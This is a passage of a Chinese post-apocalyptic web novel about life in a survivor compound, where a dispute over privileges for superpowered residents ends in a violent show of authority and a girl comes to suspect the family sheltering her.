一楼最靠电梯那户的门直接开了：“小江小陆！来吃饭呀！” 江朗：“我们今天去陈老师家吃来着……” “唉！陈老师就在这！” 他们俩进去一看。 嚯！好家伙！吃饭的不止他们俩啊。 这一大桌子，跟村里宴席的大圆桌差不离了，一整圈坐了快十五个人。 还有两个小孩坐在沙发上, 手里端着碗，正眼巴巴地看着厨房的方向。 “这间屋比较大，客厅有大桌，而且还有这个。” 一个年轻小伙给他们解释情况，然后“这个”指的是桌上一个固态酒精蜡烛，不知道从哪翻出来的。 “来喽！” 厨房里传来一声吆喝，陈老师就搬着一盆酸菜鱼出来了。 虽然他们喊陈老师老师，使得他听起来像是三四十岁的中年骨干教师一般，但陈老师实际上是个二十多岁的小伙，去年刚毕业，脸生嫩，脸上永远带笑，笑起来还有酒窝，很招长辈喜欢。 “大菜还是得人多才好吃。” 他把酸菜鱼往桌上一放：“火锅底熬好了，点火吧点火吧。” 一大叔闻言光速掏出一个打火机，把那固态酒精点燃了，然后陈老师就搬着一个九宫格火锅从厨房出来了。 江朗竖起大拇指：“这就叫专业。” 桌上堆的是每个来蹭饭的人自己带来的菜，为了这一顿火锅，应该是把接下来一整个月的新鲜食物的份额都透支了——不过嘛，都已经末日了，当然是吃顿好的比吃好几顿普通的来得更开心。 江朗也从自己背包里掏了掏，掏出了两份鸭肠。 “唉！你们俩是大恩人！哪能让你们凑份子的！” 江朗：“但是火锅怎么能没鸭肠呢！” 陆燃暗道：在出现末日这个达摩克利斯之剑之前，我们俩去吃火锅从来不点鸭肠好吗…… 不过江朗的话说服了这里在场的大部分人，就让他把两份鸭肠留在了桌上——其实江朗本来把这东西收进背包也只是顺手，当时他背包里有个压缩饼干的空格刚好被用完了，他就顺手把超市里那个还没完全失去凉气的冰柜连带着冰柜里面的东西塞进这个格子了。 鸭肠他一开始压根没注意到，别的吃差不多了他才发现有这么两包东西。 正好现在下火锅。 真不错。 江朗觉得美滋滋的。 一锅火锅，一锅酸菜鱼，米饭虽然是高压锅硬蒸的没有电饭煲那么干湿程度刚好，但是能吃就不错了，江朗和陆燃两个人立刻投入了干饭中。 其他人倒是还是习惯边吃边聊。 等江朗和陆燃回过神来的时候，饭桌上的话题不知道什么时候已经转到早上来的那批人，和海岸小区的新规上了。 “不是我话说得难听啊，我觉得张老师别的都好，就是心有点太善了。” “她是老师嘛，很正常。” “咋了，你们谁不是张老师救下来的？这时候嫌弃她收留其他人了？” “我去！我不是这个意思好不好！你别血口喷人！收留这些人我当然是举双手双脚赞同的！现在都什么时候了难不成还真的只管自己吗？地球上就这么点活人了，当然要互帮互助！” “那你在说什么啊？我真没听明白。” “我说的是，张老师人太好了，普通人进来交十个晶体，异能者进来也交十个晶体，太一视同仁了。” “这些人不是说湾镇那些人也整了个基地嘛，他们只要异能者，肯定会对异能者有倾斜，到时候别的异能者，路过的，或者本地漏掉的，万一有比较怎么办？是来这和普通人一个待遇，还是去优待异能者的地方？” 饭桌上的人刚要觉得这话有点道理，江朗听到这里忍不住从饭碗里抬起了头：“我觉得你们不用担心这种事，湾镇那些人那个基地……如果真的能算基地的话，和我们小区的条件肯定也没办法比，你可以自己想想，你要是一个异能者的话，你是乐意去朝不保夕吃方便面，还是来我们小区吃酸菜鱼？虽然次数肯定不太多，但是至少我们这有吃酸菜鱼的机会啊！” “唉，小江啊，要居安思危啊。” “没落的都是躺在功劳簿上啃老本的地方！” “虽然现在小区很好，但本来应该能发展得更好啊，就比如说，比方说我们对异能者的条件更倾斜一点，不光进来入住不要晶体，还免费提供多少多少物资，再给他们优先挑选住所的权利，没准林先生就愿意住进来了呢？” 江朗：“……” 陆燃悠闲抬头：“相信我，你开什么样的条件，林先生也不会愿意来的，他就是单纯不爱和人住一块。” “怎么可能有人会不愿和人一起住？这肯定都是借口！就是拿乔而已，等着你们开条件呢！” 陆燃耸了耸肩，他实在懒得和蠢货辩论，他关了听力开始吃饭。 江朗有学有样，随便敷衍了两句开始埋头干饭，甚至捞了点火锅里的菜和鱼片之后直接去沙发那边的小孩一桌了。 这本来只是个小插曲，这段对话在陆燃和江朗的大脑里过了一趟就又消失了，之后天天维持着出门逛街然后回小区吃两顿饭的作息。 由于之后蹭饭的地方都没有这么大桌的情况，所以他们就没怎么听其他人讲话。 因此，当他们发现那饭桌上扯淡中年人的论调居然已经成了小区主流论调的时候，江朗和陆燃直接大眼瞪小眼了。 “不是……他们都怎么想的？异能者真的来得多了就知道老实了，以前不知道有几个基地最后直接乱成火拼的，是嫌小区现在太太平了吗？” 陆燃耸了耸肩：“从来没懂过他们的脑回路。” “现在的异能者保护小区这些人已经够了，再多也没什么用，真的都派出去打晶体吗？晶体除了异能者升级本身的异能以外也没什么大用。” 江朗：“就是就是啊……！” 他简直要抓耳挠腮了。 他还在这思考究竟要怎么打消这帮人的杞人忧天呢，这些人倒是先找到张老师地方去了。 张老师：“啊？” “为什么要引进异能者？” “这样小区的大家才有更多人保护啊！” “……” 张老师思考了会儿，是她最近老是离海岸小区太远让大家太没安全感了吗？ “而且张老师你再忙活一下小池村那个老爷子的事呗，想办法把他弄来我们小区多好啊！” “这个不是说过很多遍了吗？老爷子自己不肯来。” “他不肯你就多劝劝呗。” 张老师开始头疼了，她以前是个老师，人际关系基本就约等于师生关系，顶多还有焦虑来问她孩子成绩的家长，真的没怎么遇上过这种正经要和一堆人打交道的时候。 她一时间有些焦头烂额，瞬间想起了陆燃曾经意有所指地提醒过她的几句话……唉，在人情世故上，她竟然还不如一个看起来就眼中没有世故的学生了。 她看着一群人殷切的眼神，一时也不知道该说什么，只能含混答应下来之后会再去问问小池村林老爷子。 张老师送走这群人之后，在桌旁思考了一下，看来最近还是别出门了，周边的人都救得差不多了，再远就顾不上小区这边了，为了防止大部分人生出这样离谱的他们需要更多异能者保护的想法，她果然还是在小区里多呆一段时间吧。 张老师以为这只是她向外救援导致的小区成员安全感不足，但事实显然不是如此，没过多久，这一论调就愈演愈烈，到了陆燃和江朗这种两耳不闻窗外事只吃葱油饼的人都能在阿婶餐桌上听到她问小区是不是真的该想想怎么在积分制上动脑筋好招徕异能者的程度。 江朗吃完饭忍不住问陆燃：“你说他们都是怎么想的啊！” 陆燃摇了摇头：“传播速度有些太快了，虽然现在小区里基本没别的娱乐，除非耐得住性子看书的，大多数人想娱乐只能去和人聊天，但还是太快了，而且那天在饭桌上的时候，那个中年大叔的论调明显有很多人反驳，桌上反驳的又不止我们两个人，你还特意说了湾镇的情况，就算真的传开了，也不该是这么一边倒的样子，估计是有人在推波助澜吧。” 江朗一脸懵逼：“我靠……！我们不是就一个小区吗？！就屁大点地方，有五千人吗？这也值得搞舆论战？” 陆燃：“人争利的努力程度，一般和所在群体大小没什么关系。” 江朗：“那……那我们现在怎么办？把‘幕后黑手’揪出来？” 陆燃摇了摇头：“不急，总会有人挑头的，再看看吧。” 听陆燃这么说，江朗也安心了，他不是怕别的，他就是怕好不容易找到海岸小区这么个淳朴的基地，万一又变成后来Q市基地那个和所有基地没什么差别的鬼样子，那就太令人悲伤了…… 不过陆燃既然开口了，那么一切就肯定在他掌握之中，他专心吃饭就行。 后来，果然陆燃所预料，很快这股莫名而来的舆论风向就不仅仅包含“他们应当开出更好的条件”招徕更多更强的异能者，还蔓延到了“他们应当在分配上向异能者倾斜，就算不能做到异能者免费获取所有物资，至少也该有打折，毕竟他们是冒着生命危险在保护小区其他人”上。 这论调倒是让陆燃罕见地有些乐呵。 生命危险？ Q市的污染物早已被他们和张老师三个人扫荡了个干净，小区异能者平时的任务不过是盯着菜地里有没有哪株菜变异了，如果他们这就觉得自己是在冒着生命危险并以军人身份自居的话，那只能说张老师确实有些把他们保护得太好了。 说到底，真到了有高级污染物来临的时候，他们的存在能有什么用吗？ 而且他很好奇，他们为什么会幻想自己是人上人？ 他们难道为什么不能动动他们愚蠢的脑子——如果他们真的招徕了强大的异能者，他们这些普通异能的人在这些特殊异能者的眼里又能有什么区别？ 想玩强者通吃那套，至少也该看看自己是不是强者吧，玩社达把自己玩去底层就知道老实了。 真社达柳寒都会老实衡量自己的实力阶层。 这些人也算是蠢得清新脱俗。 更何况，海岸小区的安全从来都是张老师和他们两个人在保障，说得难听点，他们顶多就是个通讯兵。 他们两个作为路过蹭饭的，价值观不需要被考虑，但如果张老师真是愿意接受这种三六九等划分人的思想的人，他们真以为以自己那点普通异能能讨到好？ 陆燃最烦这种做事之前看不清楚后果或者说不想看清的蠢人。 不过没必要阻止，因为他们看不到结果，但他能看到。 而且他觉得这是个蛮适合的契机。 他始终觉得张老师需要一个契机来建立自己的威望，不然随着海岸小区这个基地规模越来越大，早晚会有她压不住的情况出现，与其到时候闹出不可控的场面，不如现在以可控的状态催发一场闹剧。 因此，哪怕江朗很想制止这一片奇怪的氛围，陆燃也拦下了他。 他们两个和张老师不一样，这个基地是张老师一手建立出来的，她对这里有过剩的情感，他们两个则只是路过，顶多算个暂住者，真住得不开心了拍拍屁股跑路就行，所以不到万不得已，最好别和这个基地绑定过多责任。 如果一定要有人来解决小区的这场闹剧，那个人必须得是张老师而不是他们两个中的任意一个人。 江朗很急，但陆燃既然这么说了，他就只能垂头丧气地按下了自己的冲动： “好吧好吧……我听懂了，真听懂了！可控的冲突比不可控的爆发要好，我真的记住了……走吧走吧，眼不见心不烦，我们出去逛一圈！”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 第 81 章 小区难管（三） 江朗实在不想看屁大个小区打舆论战, 拉着陆燃出去逛Q市了。 末世后逛街和末世前逛街很不一样，没有小吃街可以逛，任何带电的娱乐项目也都已经死完了。 所以他们逛着逛着就逛就去了Q市的市图书馆。 “这书还挺好看的嘛。” 江朗翻着手里一本旧书, 忍不住感慨：“上学的时候怎么不觉得，好吧, 那会儿觉得老师推荐的书肯定都又严肃又无聊, 没想到名著居然也写得这么跌宕起伏的，这和爽文也不差了。” 他刚刚进图书馆的时候，也不知道该看什么，毕竟他上学的时候多看几个字都嫌头晕的, 犹豫了半天后, 干脆挑了几本眼熟的以前在学校的推荐阅读列表上的书开始看, 没想到看进去了就觉得很好看。 他开始从书架上扒拉书：“顺便给于檬带几本回去。” 说到于檬, 江朗眉眼间就多出了几分忧愁，自从他们给她带去了坏消息之后, 小姑娘的状态就一直不是很好, 也不知道她现在怎么样了。 唉，末世里有早就看惯了生死的上了年纪的人, 也就肯定有于檬这样头一次经历至亲死别因而走不出来的人, 他们能做的事也不多，要是于檬有异能的话, 没准他们还能把她带出来散散心, 但她没有, 而且她也不是很想出门, 那还是给她带点书吧，万一有什么她愿意看的，也能分散下注意力。 在图书馆搜罗了几本书之后, 江朗和陆燃就准备回去吃午饭了。 刚走到小区门口还有百米的地方，他们俩过于发达的听觉就听见了小区里在吵架。 陆燃与江朗对视一眼，稍微加快了些速度。 “……末日来了没几天你们就不把自己当人了是吧！骚扰小姑娘的事你们也干得出来，当初张老师就该把你们扔在野外自生自灭！” 江朗和陆燃匆匆赶到后，扒开里三层外三层的人，总算看到了吵架的人。 右边是几个女孩，站最前面口齿清晰地开骂的是一个看着就有几分雷厉风行的姑娘，她自己也不过二十来岁的年纪，所以她口中的“小姑娘”年纪比她更小，站在她身后，基本都是带了几分学生气的孩子，江朗匆匆一扫，估计比于檬大不了几岁。 “哎呦，这怎么叫性骚扰呢？我们只是想追求一下这几位女孩子啊，很正经的好吧。” 左边的几个人，江朗回忆了一下，基本都是从旁边的村镇救回来的，说实话如果不是他记人能力强，都快认不出这几个人了，因为他和陆燃把人救出来的时候，这些人基本都饿得皮包骨头了，而且Q市本来就经济不发达，环Q市的这些乡镇就更不发达了，一个镇上就两家超市还是杂牌超市的水平，这些人原本的生活水平估计还不如现在末世了给他们包分配的水平，因此一个个脸都弹开了一圈，如果不是五官好认，江朗估计还得以为是他没见过的人。 “我们哥几个干啥了啊？不就是看姑娘好看想谈谈嘛，少说我们现在也是觉醒了异能的人，跟了我们难道还委屈了你们？” 这话给旁边的大爷大妈气坏了：“自己撒泡尿照照吧！你什么货色还想娶我们Q市的女儿？” 江朗愣是被这句话说得一懵——这是重点吗？ 但那几个混混模样的人显然觉得是重点，原本嬉皮笑脸的神色也没了，高声道：“哦哟还当自己是Q市人呢？大爷，大婶，现在可都末世了，还有市区户口这东西吗？您也就以前瞧不上我，现在时代已经变了！我有异能您没有，以后轮不到您正眼不瞧我了！” 眼看着话题要朝地域歧视的方向一路而去，那个领头的姑娘直接把话题掰了回来——她又不是本地人，没兴趣关心这那的。 “说这说那的！以后手脚放干净点，追人是这么追的？人小姑娘不想搭理你你就上手拽人胳膊，流氓就流氓，还给你能上了是吧？” “我耍流氓是看得起她！没我们一天天地值班你们能这么安安稳稳地过日子？” 江朗气炸了，但他还没来得及上前，就被陆燃先一步拉住了手臂。 他困惑地回头看陆燃，却看见陆燃一脸平静地朝他摇了摇头：“等张老师过来。” 那领头的姑娘手里一根钢管，说明早就敲过了。 江朗强行压下火气，这群傻逼，他气得想一点技能不用纯靠拳头给他们脑浆都砸出来。 幸好他没有气太久，因为张老师确实很快就来了。 “怎么回事？” 张老师多年老师生涯余威犹在，一走进人群，人群就静寂了一下。 那姑娘立刻口齿清晰条理分明地把事情说了一遍，其实很简单，就是这群异能者把自己当个事了，问几位小姑娘“要不要保护”，被拒绝或被鄙视后恼羞成怒，直接动手动脚拉拉扯扯，且目击者不止她一人，周围好几个人都看见了，也都一起上来骂了，就是他们嘴巴不如年轻人利落干净。 张老师和那几个目击者谈了几句确认属实，然后又问了问被那个年轻姑娘护在身后的好几个女孩，听到这不是第一次，这几个人早就在口头上占过她们便宜，所以她们一直绕着这些人走，只是今天又撞上了，本来想赶紧走了算了，没想到反而被拉扯住了。 听到后半段，张老师的眼中已经是压抑不住的怒火，她转过身来问这几个异能者： “你们有什么话要说的吗？” “哪有她们说得那么严重！不就是说了几句话吗？拉她们怎么了？不就是看不上我们乡下人不肯和我们说话吗？她们要是愿意好好说话，哥几个需要动手？” “张老师你可想清楚，是我们有用还是她们有用？” 这隐隐的威胁之意真是把江朗彻底逗笑了。 江朗是忍不住气笑了，其他围观者则是单纯的怒火冲天。 陆燃周围的一片人瞬间炸了开来，七嘴八舌地一人一句地骂着。 然后张老师抬起了手—— 一瞬间，周围摆放的好几根小钢筋钢管以迅雷不及掩耳之势插入了这几人膝盖中。 “啊啊啊啊啊——” 刚刚还眉飞色舞的几人几乎是立刻就失去了站立能力，疼痛让他们下意识想要去捂膝盖位置，但钢筋横穿他们膝盖，而且长度不短，难碰到，且一碰到就抽得生疼。 周围瞬间一片寂静。 就连那几个被骚扰的女孩都脸色一白。 这里所有人都被保护得极好，除了那晚老鼠入侵，他们就没见过血，眼下红色的血和白色的骨髓一起流了出来，满地都是，大部分一辈子连鸡都没有杀过一只的文明人们忍不住打了个哆嗦并移开了眼。 倒是有几个天生胆子大的人在叫好，其他人在那一瞬间都下意识移开了视线，并捂住了口鼻，血腥气不是什么好闻的味道。 他们将视线移回张老师和她脚边几个痛得打滚或者痛得已经打滚都没力气的人身上时，眼中不自觉生出了几分敬畏与恐惧。 他们一直知道张老师的异能很强，但张老师的异能从来都是对准污染物的，他们习惯性以不同的标准在衡量她的异能，甚至在那个老鼠泛滥之夜后，还有人讨论过她的异能缺陷。 总而言之，由于张老师从来只对污染物展现攻击力，久而久之，小区人对她异能感知就是不同的层别。 这是他们头一次意识到，如果张老师将异能用在“人”身上，他们这些和污染物相比还要脆弱得多的人，会死得多么迅捷。 一时间，说话的人没了，义愤填膺的人也没了，姑娘们本来有几分的委屈也没了。 陆燃满意地点了点头，很合适的立威机会，很完美的立威手段，以后海岸小区会好管很多——这种末世基地最怕人多而领导不服众，早晚能乱起来，现在就不用担心了。 江朗的脑子也转过弯来了，静悄悄地给陆燃比了个大拇指——哥们，还是你想得远。 “以后如果有什么委屈，别自己忍着憋着受着，直接来跟我说，我会给你们主持公道，最近小区里有些风言风语，总说我们要更多地优待异能者，我不管这话是谁传出来的，你们又是不是信了，我在这里明明白白地讲清楚，只要我在海岸小区一天，所有人就都是一个待遇，不服就跟我打一架，我看看谁有这个胆子？！” 张老师这次也是动了真火了，她最气的反倒不是这几个害群之马，她生气的是这几个小姑娘居然一直忍到现在，还是别人见义勇为了她们才敢说——也许也有是自己懦弱还是什么原因，但也不排除她们真的相信了那些异能者应该受到优待的风言风语，甚至更甚，也许有人真的不相信她会愿意一直给普通人和异能者同样的待遇，才因此没直接将事情捅到她这里来。 这事儿背后隐含的含义远比这几个害群之马更让她生气，所以她必须让所有人都明白她的立场。 说完后，她缓慢地环视了一圈四周，目光所到之处，所有人无一不下意识避开了她的眼神，并不知为何缩了缩脑袋。 “都听明白了吗？” 全场的居民就跟教室里被训话的学生一样，忙不迭地点头。 唯有江朗忍不住和陆燃讲悄悄话：“张老师以前是不是教数学的啊……这和老志以前也太像了……这神态简直一个模子刻出来的！” 张老师闹心地离开了，全场气压一松，都缓过了气来。 小区居民们又叽叽喳喳地吵闹了起来：“哎这几个人咋办？留着他们在这？该治一下吗？但是我们小区现在有医生吗？而且这钢筋我们也拔不出来啊？” “哦哟可别拔，这钢筋拔出来血就止不住了，这又没急救室的，人当场就得被阎王勾去。” “那咋办？拿个大钳子给他们把钢筋两头剪开，剩下的留骨头里？” “好像也不是不行吧，而且留个教训，省得以后他们再折腾。” “唉我就说村子里二流子多，瞎救人肯定难免会救到坏人啊！简直污染小区环境！” 这人说完这句话就发现江朗和陆燃这个从村镇里救人的主力军就站在他身边，立刻尴尬地闭上了嘴——这整得好像他在埋怨这两位救了些二流子回来一样。 江朗倒是不介意这种指责，他平静地说：“救人的时候要是想着查清这人以前有没有做过坏事那也别救了，举手之劳都是一条命，难不成真的放人去死吗？至于救回来会不会是坏人，大家也不是瞎子，我看我们小区别的都好，就是缺个劳改的监狱，唉，这主意不赖，走，陆燃，我们去跟张老师说建个监狱怎么样！” 颇觉得这个主意很是不赖的江朗拖着陆燃一块去了张老师的办公室。 “监狱？” “是啊！我想了一下，我们小区条条框框都有了，但是就是少了居民内部起冲突了咋办，现在人少……好像也不少了，总之这么多人，老是去调解多麻烦啊，搞个章程出来，” 张老师思考了一下：“也确实吧……但是在小区搞个监狱能惩罚他们什么呢？顶多就是不许出门，” “不许出门还不够难受吗？找个小区最小的房子，谁犯事就往里一关，人多了直接成鸽子笼，要多难受有多难受。” 江朗一顿叽叽喳喳，显然是积极投入到了海岸小区的建设中。 等他从张老师的办公室里走出来，习惯性地往自己背包里看了一眼，看见了最后一个格子的书，才想起来在被这场闹剧打断之前，他和陆燃本来是打算去看看于檬的。 他和陆燃对视了一眼，然后深吸了一口气。 他不得不怀疑，自己刚刚那么兴致勃勃地谈论监狱提议，是不是因为他潜意识地想要拖延和于檬见面的时机。 陆燃：“走吧。” 江朗：“好……” 两人朝于檬所在的那栋楼走了过去。 拖沓的脚步在空旷的楼梯间中不断形成回声。 如果他们俩还是末世前身体没经过强化的普通人，江朗估计还能以十多层爬上去太累了要求中途休息，很可惜，他们现在是爬十几楼都不用喘气的异能者。 所以……于檬现在住的地方到了。 江朗瞅瞅陆燃，陆燃瞅了回来，江朗无奈地抬手开始敲门。 “来啦！” 门后传来中年女人热情的声音。 门打开后。 “是你们两位啊？是来看于檬的吗？” 陈阿姨自知他们家没什么特别的，这两位小区的大忙人会上门大概只是担心他们亲自救下来的那个孩子现在状态如何。 陆燃和江朗点点头。 “于檬！陆哥哥和江哥哥来看你啦！快出来吧！” 左侧卧室的门打开了，然后江朗有些震惊。 他们才……才多久没见到于檬，这孩子却彻底消瘦了一圈。 就连陆燃都忍不住皱了皱眉，他知道于檬现在大概还沉浸在悲痛中，但是她的状态依旧差得出乎她意料。 于檬看上去精神不太好，有些呆滞，打开门时双眼有些恍惚，看上去简直像低血糖导致的双眼模糊，但也有可能只是纯粹的精神不济导致的反应滞后。 她的脸色更是糟糕，他们在那间堪称《小鬼当家》现实版的公寓见到她的时候，她虽然连吃了一个月方便面饼，但整个人看上去还算有血色，现在却是脸颊消瘦，嘴唇苍白，像是大病初愈甚至没愈的病人一般。 陆燃的眉头又皱紧了一些，他下意识地觉得于檬就算再因为母亲没获救也不该难过成这样吧，毕竟她应该本来就知道她妈妈还活着这件事是一件纯粹的小概率事件。 但又觉得他对人类的感情预估一向有偏差，所以什么也没说。 大概是感知到了他们俩的震惊，陈阿姨轻轻叹了口气，摇了摇头：“这个孩子，她妈妈的死对她打击应该很大……最近胃口也越来越差了，你们看看，瘦得跟脱了一层皮一样，手上的骨头都那么明显……唉，作孽哟。” 于檬走到门口时，陈阿姨适时地停止了自己的轻言细语。 于檬抬头看向陆燃与江朗，她走过来的这段时间，似乎已经回神了，看上去不再像一缕幽魂，至少双眼又有了焦距。 她很勉强地挤出了一道笑容： “江哥，陆哥。” 江朗一时不知道该说什么，愣了一下才递出自己手里的几本书： “我们今天去了市图书馆，我找到几本我觉得还挺有意思的书，你……你要是没什么事做的话，可以看看。” 于檬有些愣愣地接过江朗递过来的书，低低地说了一声：“谢谢。” “那……那我们先走了？” 江朗无助地看了看陆燃又看了看陈阿姨。 最后还是陈阿姨突然打破了沉默：“嗯嗯！下次再来看于檬哈！” 陆燃和江朗和于檬说了再见，准备离开。 “等等！” 但就在他们要转身离开的同时，于檬口中突然爆发出了一段短促的声音。 “嗯？怎么了吗？” 于檬有些呆地看着他们，好像自己都没反应过来自己刚刚喊了“等等”。 陆燃和江朗平静地看着她，并未催促，等着她慢慢整理自己的思绪。 但于檬脸上闪过一丝犹豫，最后还是摇了摇头：“没……没事……我刚刚不知道在想什么。” 江朗：“好的，如果有什么需要的就跟我们说知道吗？” 这次，他和陆燃是真的离开了。 而就在他们消失在楼梯间，陈阿姨要关上门的时候，于檬突然伸出手顶住了房门：“阿姨，等一下，我想跟江哥他们说一下我下次想看什么书，我可以去吗？” 陈阿姨：“当然可以啊，去吧去吧。” 于檬低着头跑出了房门，她急匆匆地试图追上陆燃和江朗，最终在楼梯中段赶上了他们。 “等一下！” 江朗和陆燃齐齐回头。 “嗯？怎么了？” 他们看着于檬先使劲喘了几口气，试图把刚刚下楼梯时候没喘上的气全补回来。 然后，她恢复了平静，或者说，不光是恢复了平静，更重要的是她恢复了那种坚定的眼神，刚刚在房门前的犹豫全都消失了。 “江哥，陆哥，我觉得这家人有问题。” 江朗：“啊？等等？谁家人？你说王叔和陈阿姨家？” 于檬脸上露出一丝愧疚，似乎是觉得自己这样怀疑收留自己的家庭不好，但她很快又点了点头： “嗯，是的。” 第82章 第 82 章 奇怪的事 于檬知道其他人一定会觉得她疯了, 但是她真的觉得很不对劲。 王叔叔陈阿姨人很好，凡是换到了新鲜蔬果的时候，他们从来不会少了她那一份。 在这新鲜菜品论个数的末世里, 应该说他们对她已经尽心尽力才对。 但是她就是无法对他们生出一点信任之心。 她很清楚，如果她向其他人袒露自己的想法, 有基础心理学知识的人大概说这是她失去了母亲后对外界启动的自动防御机制, 或者是创伤后的被害妄想与偏执，更直白点的人大概会指责她忘恩负义，怎么能这么想一家子好人。 但是她就是能感受到那种真实存在的令人恐惧的感觉。 他们对她笑的时候，她总觉得自己浑身发毛。 她也怀疑过自己是不是想多了, 于是很努力地给自己洗脑他们是好人, 你不要担心这担心那。 但是哪怕说再多遍, 见到他们两人的一瞬间, 她还是会有一种发自内心的难受感。 她想和其他人说，但是她知道其他人并不会在乎这种奇怪的“感觉”。 她越来越瘦, 不是因为悲伤, 或者说，那种直觉性的恐惧极大地侵占了她的悲伤能力, 导致她没多少时间和精力去悲伤了。 自从她开始住在这户人家后, 就总有种毛毛的感觉，晚上也睡不安稳。 她有想过要不要和张老师去说她想换户人家住, 但是如果对方问她理由的话她要怎么回答呢？ 她觉得很害怕？毫无理由地害怕？单纯觉得这家人笑得吓人？ 这怎么听都不是什么值得被认真对待的理由。 然后, 她发现了她的“感觉”以外的另一个疑点。 自从前段时间小区物资开始按积分换取分配之后, 她发现他们家的支出收入对不上。 除了最小的敏敏不做事以外, 王叔陈阿姨还有她自己都会在小区的地里干活，王叔和陈阿姨说她自己的积分留着换零食就好，家里的食物他们两个来换就行。 对此, 她还是很有自己在寄人篱下的自觉的，所以这种话就当耳旁风听过算了。 他们三个人基本干一样的活，就算稍有差别，每天换积分的时候她也算清了。 去领食物的时候她有时候跟着去，有时候直接回房间。 过了一个多月，她觉得堆在客厅的食物加上他们日常消耗的食物，与她算出来积分数目合不上。 一开始她还觉得，大概是两夫妻和大部分中年人一样，过惯了居安思危的生活，习惯性手里攒点积分留着急用，虽然张老师说了如果真生病了，药物直接打个审批就能用，但是总说不好会不会有什么意外情况急需积分。 所以她起初并没有太在意这一点。 直到有一天她听见陈阿姨抱怨王叔做活一点不勤快，一个大男人和她们两个女流一样拿一样的积分，种地不就是个力气活吗，他就不会多出点力气吗，搞得现在家里积分那么拮据，每个月的积分都花光了才勉强够用。 王叔老实地点头应着，于檬心中却突然有股凉意窜了上来。 他们的积分全花了？ 怎么可能？ 家里的消耗根本对不上，不是那种一点点偏差地对不上，他们的积分和家里消耗的相比，至少差出了一个人量的食物。 这事儿说起来也就一点点奇怪，但于檬却忍不住觉得毛骨悚然。 她想起那时候张老师说想让她跟着王叔和陈阿姨一起住，她此前的记忆里总是只记得自己不肯，毕竟那时候她还抱着……妈妈还活着的希望。 但是现在回想起来，抗拒的从来不止她一个，那时候，王叔和陈阿姨被张老师叫来之后，说希望能让她跟着他们一起住之后，他们俩的第一反应都是第一反应是错愕与犹豫。 虽然或许也可以解读为他们不想家里多养一个人，毕竟也是多余的负担，但是她还是觉得很奇怪。 她犹豫着这到底算不算证据。 又一天在小区的公园里种地时，她稍微调整了一下口吻，试探性地问一个比较照顾的女生： “我发现，我们家好像平时吃的东西的积分数和我们攒的积分对不上……” “哈哈，陈阿姨那辈人都是更喜欢存钱的那类人啦，估计积分都攒起来了。” “没有，陈阿姨抱怨过攒不下积分。” “咦？这样吗……哈哈哈我知道了，肯定是他们偷偷给敏敏开小灶了！” 于檬愣了一下：“好像……好像也有道理。” “肯定是这样啦！还有什么原因？你也不要太不高兴，敏敏毕竟是他们亲女儿，他们偏心一点肯定是正常的，，可能就是怕你心里不舒服才偷偷开的小灶吧。” 于檬陷入了沉默之中。 对方说的很有道理，这完全可以解释为什么家里的积分少了一人份，或许他们三个都在偷偷开小灶，这样就对上消耗了。 但是真的吗……真的要接受这样的解释吗？ 不如说，她很努力地想要让自己接受这样的解释，但是还是觉得整个家都诡异得让她发毛。 她知道自己在逐渐消瘦，怎么可能不瘦？她的大脑无时无刻不在思考扫描着这户人家的一切细节，明明又困又累到整个脑子都是模糊的，但还是会自动将他们的聊天内容全在脑子里过一遍，试图发现或者验证自己的恐惧之处。 这样一天天下来……她觉得她真的要疯了。 “于檬！陆哥哥和江哥哥来看你啦！快出来吧！” 房间外传来陈阿姨热情的喊声。 她一开始只辨别出了这句话里自己的名字，然后她识别到了别的关键词——陆哥哥和江哥哥。 她无意识地动了起来，起身，推开门，看见两个模糊但熟悉的身影。 走到门口。 江朗说了些什么，然后递出了一叠书，她接过。 她抬起头看向他们，突然很想说什么，她想说她一直觉得这家人很奇怪，很奇怪很奇怪，哪怕她只找出了这么一点古怪的地方。 她想说她很不好，她要被逼疯了。 他们会理解吗？ 会的。 一道直觉式的念头闪过。 有那么一瞬间，一切模糊混乱的记忆都清晰起来了。 那天，张老师将她交给这一家人的一天，在场的不止他们四个人，江朗和陆燃也在，他们就站在一边。 而那时候，他们的反应是什么呢？ 原本只是模糊的记忆突然像是被掀开了一层薄纱一般，所有人的表情都清晰了起来。 她回想起来了，那时候张老师说完希望她跟着王叔陈阿姨一家住，江朗在一旁略带忧愁地看着她，大概是担忧她的抗拒，而陆燃…… 陆燃在看着王叔和陈阿姨，他的表情很平静，甚至有种难以捉摸的内敛，但是他就这么静静地看着他们，像是要将他们的所有反应都收入脑内。 于檬深吸了一口气。 她要告诉他们她的怀疑，哪怕这怀疑像是无端飘落在她脑海中的无根浮萍。 只不过刚要开口，她就意识到了，地方不对，陈阿姨就在旁边，挂着她一贯的微笑，就这么看着他们。 于是她迅速收敛了自己的表情。 在他们消失在楼梯间后才问道： “阿姨，我想跟江哥他们说一下我下次想看什么书，我可以去吗？”. “你是说……你们四个人吃了五人份的食物？” 江朗从于檬的叙述中抓住了重点，神色严肃了起来。 “嗯，对，我一直有记账的习惯，我自己吃什么，桌上其他人吃什么都会记住，我很确定我们消耗的积分比我们赚到的积分少了一大截。” 江朗看向陆燃：“你觉得呢？” 陆燃若有所思地看向于檬：“你先回去，当作什么都没有发生过的样子，就当没来找我们说过话，这事我来查。” 于檬松了口气：“好！” 说完她就转身回去了。 江朗则转向了陆燃：“为什么会有这种事？他们那多了个人？收留了谁吗？还是怎么的？但是这有什么需要偷偷摸摸的，小区难不成还能养不起多一个人吗？” 陆燃：“他们是原住民，如果真的多了一个人……也许是本来就多了的人。” 江朗觉得自己脑子有点打结，但他看陆燃若有所思的模样，觉得好像轮不上自己思考，就干脆地开摆了。 陆燃：“走，我们去找张婶打听打听。” “打听什么？” “打听……王家以前是什么情况。”. “啊？敏敏他们家什么时候搬来的？” 张婶思考了一会儿，对她这个年纪的人来说，每一年过得都差不多，时间的流逝不再那么好感知和计算，她得努力在记忆里找点别的参照物。 “应该……好像是十年前的事情了。” “十年，或者八九年。” “哦我想起来了，这套房本来是陈娟芬她哥哥的，那时候她哥哥嫂嫂同时出了车祸，这套房就归他们了。” 江朗：“同时车祸去世？” 陆燃眼皮一跳，江朗的父母就是这样去世的，早知道他该一个人来问的，平白让江朗想起不好的回忆。 不过江朗并没有流露出除了困惑以外的神情，他只是单纯进入了瞎发散思考的侦探模式——难不成这车祸是现在这家人故意搞的？毕竟现在看来他们就是唯一受益人，平白捡了一套房，虽然那会儿房价应该不算特别贵，但是为了几万块铤而走险杀人的也不是没有啊…… 